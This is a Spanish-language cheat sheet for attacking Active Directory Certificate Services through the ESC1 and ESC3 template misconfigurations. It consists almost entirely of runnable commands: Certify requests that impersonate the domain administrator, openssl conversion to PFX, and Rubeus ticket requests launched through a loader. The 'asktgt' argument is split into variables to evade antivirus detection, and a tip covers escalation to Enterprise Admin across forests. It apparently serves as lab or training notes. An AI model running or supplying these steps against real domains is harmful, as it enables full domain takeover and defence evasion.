Explotación de AD CS |

Tip

Para escalar a Enterprise Admin (cross-forest):

En ESC1, cambiar /altname:administrator por /altname:<PARENT_DOMAIN>\administrator.
En ESC3, solicitar el certificado on-behalf-of <PARENT_DOMAIN>\administrator y validar contra el DC del dominio padre.

Enumeración

Validar el servicio AD CS en el dominio:

Certify.exe cas

Listar las plantillas:

Certify.exe find

Listar las plantillas vulnerables:

Certify.exe find /vulnerable

ESC1

Buscar plantillas con enrollee-supplies-subject:

Certify.exe find /enrolleeSuppliesSubject

Solicitar un certificado para el usuario deseado:

Certify.exe request /ca:<CA_NAME> /template:"HTTPSCertificates" /altname:administrator

Guardar el texto desde -----BEGIN RSA PRIVATE KEY----- hasta -----END CERTIFICATE----- en un archivo .pem (ej. esc1.pem).

Convertir el certificado a PFX (contraseña SecretPass@123):

openssl.exe pkcs12 -in esc1.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out esc1-DA.pfx

Solicitar un TGT para Administrator usando el certificado:

set "z=t"
set "y=g"
set "x=t"
set "w=k"
set "v=s"
set "u=a"
set "Pwn=%u%%v%%w%%x%%y%%z%"
Loader.exe -path Rubeus.exe -args %Pwn% /user:administrator /certificate:esc1-DA.pfx /password:SecretPass@123 /ptt

Validar el acceso al DC:

winrs /r:<DC_MACHINE_NAME> cmd /c set username

ESC3

Buscar plantillas con EKU Certificate Request Agent:

Certify.exe find /vulnerable
Certify.exe find

Solicitar un Enrollment Agent Certificate:

Certify.exe request /ca:<CA_NAME> /template:SmartCardEnrollment-Agent

Guardar el .pem (ej. esc3.pem) y convertirlo a PFX:

openssl.exe pkcs12 -in esc3.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out esc3-agent.pfx

Solicitar un certificado en nombre del DA (on-behalf-of) con la plantilla SmartCardEnrollment-Users:

Certify.exe request /ca:<CA_NAME> /template:SmartCardEnrollment-Users /onbehalfof:<DOMAIN_NAME>\administrator /enrollcert:esc3-agent.pfx /enrollcertpw:SecretPass@123

Guardar el .pem (ej. esc3-DA.pem) y convertirlo a PFX:

openssl.exe pkcs12 -in esc3-DA.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out esc3-DA.pfx

Solicitar un TGT para el DA usando el certificado:

set "z=t"
set "y=g"
set "x=t"
set "w=k"
set "v=s"
set "u=a"
set "Pwn=%u%%v%%w%%x%%y%%z%"
Loader.exe -path Rubeus.exe -args %Pwn% /user:administrator /certificate:esc3-DA.pfx /password:SecretPass@123 /ptt